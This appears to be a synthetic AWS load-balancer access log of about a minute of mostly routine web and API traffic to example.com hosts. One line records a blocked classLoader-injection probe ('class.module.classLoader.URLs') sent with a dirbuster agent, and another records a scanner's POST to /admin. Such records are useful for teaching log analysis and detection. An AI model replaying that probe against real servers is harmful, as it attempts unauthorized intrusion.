arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5c9-f01ab6c5410940bb9564f1ec" "prod-api-alb.example.com" "-" 7 2024-11-01T01:00:41.464381Z "forward" "-" "-" "10.0.159.163:443" "404" "-" "-" -https 2024-11-01T01:00:42.933081Z prod-web-alb 193.27.228.161:13826 10.0.180.173:443 0.058685 0.429871 0.037857 401 401 733 12956 "POST /admin HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5ca-a8dd67164c5349f38b959b00" "-" "-" 3 2024-11-01T01:00:42.933081Z "forward" "-" "-" "10.0.180.173:443" "401" "-" "-" -https 2024-11-01T01:00:43.723632Z prod-api-alb 97.171.66.131:51031 10.0.188.20:443 0.005504 0.470934 0.065809 200 200 170 4042 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5cb-4427cc9529b44d6abe9cc8aa" "prod-api-alb.example.com" "-" 1 2024-11-01T01:00:43.723632Z "forward" "-" "-" "10.0.188.20:443" "200" "-" "-" -https 2024-11-01T01:00:43.830384Z prod-web-alb 116.8.224.1:19853 10.0.174.229:443 0.086568 0.180406 0.036170 301 301 809 5881 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5cb-4af0708eb1d142a78f46408a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:00:43.830384Z "forward" "-" "-" "10.0.174.229:443" "301" "-" "-" -https 2024-11-01T01:00:45.545609Z prod-web-alb 127.200.250.44:11161 10.0.238.100:443 0.054736 0.378230 0.025218 404 404 58 1210 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5cd-17532e03c641464c959c0e60" "-" "-" 10 2024-11-01T01:00:45.545609Z "forward" "-" "-" "10.0.238.100:443" "404" "-" "-" -http 2024-11-01T01:00:47.482754Z staging-alb 59.137.1.73:30362 181.40.54.157:443 0.080632 0.658339 0.017889 200 200 569 5739 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5cf-9ec4d748d9a547fbbe08502b" "staging-alb.example.com" "-" 4 2024-11-01T01:00:47.482754Z "forward" "-" "-" "181.40.54.157:443" "200" "-" "-" -https 2024-11-01T01:00:47.966636Z prod-api-alb 123.223.14.108:54729 10.0.45.194:443 0.076013 0.452602 0.092064 200 200 413 11979 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5cf-b4052fd5d3a3430dae32f185" "prod-api-alb.example.com" "-" 3 2024-11-01T01:00:47.966636Z "forward" "-" "-" "10.0.45.194:443" "200" "-" "-" -http 2024-11-01T01:00:49.947763Z staging-alb 234.120.114.95:25406 224.58.208.45:443 0.128151 0.627093 0.060947 301 301 73 9818 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5d1-0be2ab150e9b4fccbadc69a0" "staging-alb.example.com" "-" 0 2024-11-01T01:00:49.947763Z "forward" "-" "-" "224.58.208.45:443" "301" "-" "-" -https 2024-11-01T01:00:50.905395Z staging-alb 86.23.246.158:44123 192.58.56.228:443 0.040922 0.485346 0.099705 200 200 795 12848 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5d2-b59b761bf64c40e08a9f0420" "staging-alb.example.com" "-" 7 2024-11-01T01:00:50.905395Z "forward" "-" "-" "192.58.56.228:443" "200" "-" "-" -https 2024-11-01T01:00:51.071339Z prod-web-alb 165.64.173.232:11757 10.0.132.252:443 0.026014 0.185638 0.092918 200 200 127 892 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5d3-4d0d6944c89349a78b15f59f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:00:51.071339Z "forward" "-" "-" "10.0.132.252:443" "200" "-" "-" -https 2024-11-01T01:00:53.022581Z prod-web-alb 122.113.72.172:14307 10.0.230.68:443 0.017391 0.103758 0.047197 200 200 59 5672 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5d5-3a7a090484874583bf3bcdea" "prod-web-alb.example.com" "-" 8 2024-11-01T01:00:53.022581Z "forward" "-" "-" "10.0.230.68:443" "200" "-" "-" -https 2024-11-01T01:00:54.110604Z prod-api-alb 66.73.206.4:43894 10.0.189.154:443 0.093791 0.006735 0.094974 301 301 551 9016 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5d6-625b82905fe64452a78000e9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:00:54.110604Z "forward" "-" "-" "10.0.189.154:443" "301" "-" "-" -https 2024-11-01T01:00:55.110617Z prod-web-alb 233.160.210.156:45349 10.0.185.61:443 0.062269 0.018512 0.024989 404 404 272 956 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5d7-4d51598e26244a0c8622ed01" "prod-web-alb.example.com" "-" 5 2024-11-01T01:00:55.110617Z "forward" "-" "-" "10.0.185.61:443" "404" "-" "-" -https 2024-11-01T01:00:55.295168Z prod-api-alb 176.179.97.45:55842 10.0.237.79:443 0.094141 0.385514 0.042113 200 200 869 14737 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5d7-77b9cabcb5a9410c834de7df" "prod-api-alb.example.com" "-" 10 2024-11-01T01:00:55.295168Z "forward" "-" "-" "10.0.237.79:443" "200" "-" "-" -http 2024-11-01T01:00:55.829861Z staging-alb 117.22.202.9:53863 153.226.105.87:80 0.086061 0.054781 0.072200 404 404 294 9978 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5d7-30520ec4799b4c5a8613532d" "staging-alb.example.com" "-" 10 2024-11-01T01:00:55.829861Z "forward" "-" "-" "153.226.105.87:80" "404" "-" "-" -https 2024-11-01T01:00:57.310087Z staging-alb 151.20.239.61:38533 88.177.88.138:443 0.133072 0.208197 0.132850 404 404 102 1474 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5d9-0ba70d6ee52b4584bd262d78" "staging-alb.example.com" "-" 7 2024-11-01T01:00:57.310087Z "forward" "-" "-" "88.177.88.138:443" "404" "-" "-" -https 2024-11-01T01:00:58.208076Z prod-web-alb 200.229.61.223:26759 10.0.134.246:443 0.012081 0.305500 0.029962 301 301 67 13962 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5da-5566ab328bcb46aeb995b9e5" "prod-web-alb.example.com" "-" 9 2024-11-01T01:00:58.208076Z "forward" "-" "-" "10.0.134.246:443" "301" "-" "-" -https 2024-11-01T01:00:59.813541Z staging-alb 133.176.220.19:49396 114.188.155.85:80 0.082310 0.228709 0.110597 302 302 887 2202 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5db-f55d103b701a41f4be5522c6" "staging-alb.example.com" "-" 1 2024-11-01T01:00:59.813541Z "forward" "-" "-" "114.188.155.85:80" "302" "-" "-" -https 2024-11-01T01:01:01.261698Z prod-api-alb 236.19.75.24:51779 10.0.43.20:443 0.079386 0.313495 0.094518 302 302 585 5601 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5dd-007bfdd59c6240a29f2ad0c4" "prod-api-alb.example.com" "-" 3 2024-11-01T01:01:01.261698Z "forward" "-" "-" "10.0.43.20:443" "302" "-" "-" -https 2024-11-01T01:01:03.006750Z prod-web-alb 29.148.94.191:10055 10.0.54.160:443 0.048398 0.336510 0.076774 404 404 27 12354 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5df-e5a16e3c8229431dabb1c9a8" "prod-web-alb.example.com" "-" 10 2024-11-01T01:01:03.006750Z "forward" "-" "-" "10.0.54.160:443" "404" "-" "-" -https 2024-11-01T01:01:03.848495Z prod-api-alb 153.239.200.57:48856 10.0.22.43:443 0.062353 0.152077 0.052801 301 301 991 6428 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5df-9aa0d33f01ef493192960413" "prod-api-alb.example.com" "-" 7 2024-11-01T01:01:03.848495Z "forward" "-" "-" "10.0.22.43:443" "301" "-" "-" -https 2024-11-01T01:01:04.729598Z prod-api-alb 120.82.240.6:34702 10.0.149.29:443 0.040040 0.447927 0.077161 200 200 726 12046 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5e0-0278d19081744efd8506efd0" "prod-api-alb.example.com" "-" 3 2024-11-01T01:01:04.729598Z "forward" "-" "-" "10.0.149.29:443" "200" "-" "-" -https 2024-11-01T01:01:06.701584Z staging-alb 136.151.191.255:64514 126.56.129.149:80 0.107267 0.673001 0.047739 301 301 424 10021 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5e2-35b3ce986f004a52ad27e16e" "staging-alb.example.com" "-" 1 2024-11-01T01:01:06.701584Z "forward" "-" "-" "126.56.129.149:80" "301" "-" "-" -https 2024-11-01T01:01:07.432856Z prod-api-alb 179.91.145.202:30460 10.0.224.75:443 0.032134 0.179683 0.067043 302 302 82 14678 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5e3-ba1b433ddf884280b2273808" "prod-api-alb.example.com" "-" 2 2024-11-01T01:01:07.432856Z "forward" "-" "-" "10.0.224.75:443" "302" "-" "-" -https 2024-11-01T01:01:08.373782Z staging-alb 190.60.11.159:10514 239.184.95.114:8080 0.068818 0.211000 0.094523 404 404 478 3330 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5e4-0e48c4e45ae148f29fcd26ed" "staging-alb.example.com" "-" 6 2024-11-01T01:01:08.373782Z "forward" "-" "-" "239.184.95.114:8080" "404" "-" "-" -https 2024-11-01T01:01:10.083500Z prod-api-alb 191.162.114.203:39334 10.0.119.118:443 0.046763 0.053893 0.096922 200 200 571 8586 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5e6-84d6adca413342a59dc345f5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:01:10.083500Z "forward" "-" "-" "10.0.119.118:443" "200" "-" "-" -https 2024-11-01T01:01:11.574306Z prod-web-alb 14.241.74.188:23831 10.0.54.243:443 0.016852 0.419852 0.033301 404 404 160 1077 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5e7-4a988897aa4e406eac9380aa" "prod-web-alb.example.com" "-" 8 2024-11-01T01:01:11.574306Z "forward" "-" "-" "10.0.54.243:443" "404" "-" "-" -http 2024-11-01T01:01:13.221870Z staging-alb 84.211.82.66:50997 61.219.9.223:80 0.080530 0.142919 0.117873 200 200 144 14060 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5e9-500e83083d154201a825bbc3" "staging-alb.example.com" "-" 3 2024-11-01T01:01:13.221870Z "forward" "-" "-" "61.219.9.223:80" "200" "-" "-" -https 2024-11-01T01:01:13.944149Z prod-api-alb 213.125.8.140:53799 10.0.209.82:443 0.033970 0.009879 0.001289 200 200 917 9701 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5e9-209729667bb64089834d9e92" "prod-api-alb.example.com" "-" 3 2024-11-01T01:01:13.944149Z "forward" "-" "-" "10.0.209.82:443" "200" "-" "-" -https 2024-11-01T01:01:15.581064Z staging-alb 153.169.209.33:50827 135.21.12.190:8080 0.019467 0.457492 0.083320 200 200 113 1229 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5eb-2321e3f359af4867b6626fa2" "staging-alb.example.com" "-" 5 2024-11-01T01:01:15.581064Z "forward" "-" "-" "135.21.12.190:8080" "200" "-" "-" -https 2024-11-01T01:01:17.327873Z prod-api-alb 103.195.14.131:47123 10.0.31.50:443 0.060121 0.320818 0.053020 200 200 370 395 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5ed-9014f2015e4148c88d408fa9" "prod-api-alb.example.com" "-" 7 2024-11-01T01:01:17.327873Z "forward" "-" "-" "10.0.31.50:443" "200" "-" "-" -https 2024-11-01T01:01:18.608670Z staging-alb 51.238.48.84:36165 122.171.92.252:80 0.037808 0.749086 0.093379 200 200 841 10440 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5ee-d886c1e9c92d41878979cc68" "staging-alb.example.com" "-" 0 2024-11-01T01:01:18.608670Z "forward" "-" "-" "122.171.92.252:80" "200" "-" "-" -https 2024-11-01T01:01:20.475832Z prod-web-alb 247.99.180.140:19399 10.0.212.44:443 0.026038 0.125860 0.031617 200 200 641 7330 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5f0-4e58365e06fd4ba48c3dffb5" "prod-web-alb.example.com" "-" 8 2024-11-01T01:01:20.475832Z "forward" "-" "-" "10.0.212.44:443" "200" "-" "-" -https 2024-11-01T01:01:21.075638Z prod-api-alb 10.135.25.104:32314 10.0.237.230:443 0.031324 0.114749 0.090969 200 200 610 2110 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5f1-c67f1d98e13f43d3afa8af37" "prod-api-alb.example.com" "-" 4 2024-11-01T01:01:21.075638Z "forward" "-" "-" "10.0.237.230:443" "200" "-" "-" -https 2024-11-01T01:01:22.413851Z staging-alb 179.249.110.127:64516 49.28.189.150:443 0.026181 0.417730 0.114503 200 200 498 13362 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5f2-ad0f07b323d6433ca03a1d08" "staging-alb.example.com" "-" 2 2024-11-01T01:01:22.413851Z "forward" "-" "-" "49.28.189.150:443" "200" "-" "-" -https 2024-11-01T01:01:23.585699Z prod-api-alb 59.52.93.196:26592 10.0.97.115:443 0.026307 0.356490 0.029088 200 200 931 700 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5f3-60e41b2e5c3d4a638ee17365" "prod-api-alb.example.com" "-" 4 2024-11-01T01:01:23.585699Z "forward" "-" "-" "10.0.97.115:443" "200" "-" "-" -https 2024-11-01T01:01:23.966766Z prod-api-alb 193.201.18.20:41653 10.0.248.199:443 0.092999 0.036524 0.019076 200 200 658 12659 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5f3-503e93b72d6d4011abff29e9" "prod-api-alb.example.com" "-" 6 2024-11-01T01:01:23.966766Z "forward" "-" "-" "10.0.248.199:443" "200" "-" "-" -http 2024-11-01T01:01:25.746607Z staging-alb 116.181.177.14:25102 246.248.119.82:80 0.111909 0.423451 0.039384 200 200 846 904 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5f5-189b4cb0989e44e5ac926afa" "staging-alb.example.com" "-" 4 2024-11-01T01:01:25.746607Z "forward" "-" "-" "246.248.119.82:80" "200" "-" "-" -https 2024-11-01T01:01:25.917577Z prod-web-alb 177.72.187.67:13120 10.0.175.153:443 0.072879 0.126382 0.027327 302 302 756 11533 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5f5-8f2163b2a99e4352b9e3692f" "prod-web-alb.example.com" "-" 6 2024-11-01T01:01:25.917577Z "forward" "-" "-" "10.0.175.153:443" "302" "-" "-" -https 2024-11-01T01:01:26.277870Z prod-web-alb 210.138.61.124:30776 10.0.108.249:443 0.056178 0.050291 0.099138 200 200 870 6149 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5f6-4a2d7f6281fe48658b8e4b3b" "prod-web-alb.example.com" "-" 0 2024-11-01T01:01:26.277870Z "forward" "-" "-" "10.0.108.249:443" "200" "-" "-" -https 2024-11-01T01:01:28.237262Z prod-api-alb 193.27.228.126:18224 10.0.70.203:443 0.036432 0.100920 0.045890 403 403 908 5940 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5f8-d5ef760dca2241bb99edf207" "-" "-" 8 2024-11-01T01:01:28.237262Z "forward" "-" "-" "10.0.70.203:443" "403" "-" "-" -https 2024-11-01T01:01:30.149538Z staging-alb 155.119.4.250:20742 93.232.89.79:80 0.079130 0.538138 0.032488 200 200 377 8887 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5fa-5998cb2ab9164cff8e2aafcd" "staging-alb.example.com" "-" 8 2024-11-01T01:01:30.149538Z "forward" "-" "-" "93.232.89.79:80" "200" "-" "-" -https 2024-11-01T01:01:31.897627Z prod-web-alb 190.106.238.205:37963 10.0.166.47:443 0.059021 0.222919 0.029760 301 301 98 5902 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5fb-c1fba6ca35bd47c58f05a13d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:01:31.897627Z "forward" "-" "-" "10.0.166.47:443" "301" "-" "-" -https 2024-11-01T01:01:32.714445Z prod-api-alb 164.228.65.105:12741 10.0.50.137:443 0.052536 0.309871 0.057353 301 301 925 12080 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5fc-444a2d9cf10a47928d19a4de" "prod-api-alb.example.com" "-" 10 2024-11-01T01:01:32.714445Z "forward" "-" "-" "10.0.50.137:443" "301" "-" "-" -https 2024-11-01T01:01:33.074246Z prod-api-alb 1.126.69.130:12304 10.0.97.86:443 0.013866 0.148895 0.024549 200 200 247 9680 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5fd-f3f051ef69ce48f4a17c8b3a" "prod-api-alb.example.com" "-" 1 2024-11-01T01:01:33.074246Z "forward" "-" "-" "10.0.97.86:443" "200" "-" "-" -https 2024-11-01T01:01:33.218198Z prod-web-alb 253.39.26.196:31293 10.0.148.235:443 0.005382 0.069411 0.011781 200 200 372 13837 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5fd-06ad2be6d988436196d1498c" "prod-web-alb.example.com" "-" 8 2024-11-01T01:01:33.218198Z "forward" "-" "-" "10.0.148.235:443" "200" "-" "-" -https 2024-11-01T01:01:33.426165Z prod-api-alb 202.147.255.125:45415 10.0.141.153:443 0.065588 0.193009 0.099499 302 302 689 4884 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5fd-9547f9121f7248a7a047c14f" "prod-api-alb.example.com" "-" 5 2024-11-01T01:01:33.426165Z "forward" "-" "-" "10.0.141.153:443" "302" "-" "-" -https 2024-11-01T01:01:34.121631Z prod-web-alb 23.214.212.75:38865 10.0.35.146:443 0.086940 0.126341 0.087324 200 200 762 4546 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5fe-4811a3a1adb54e45950a4a25" "prod-web-alb.example.com" "-" 5 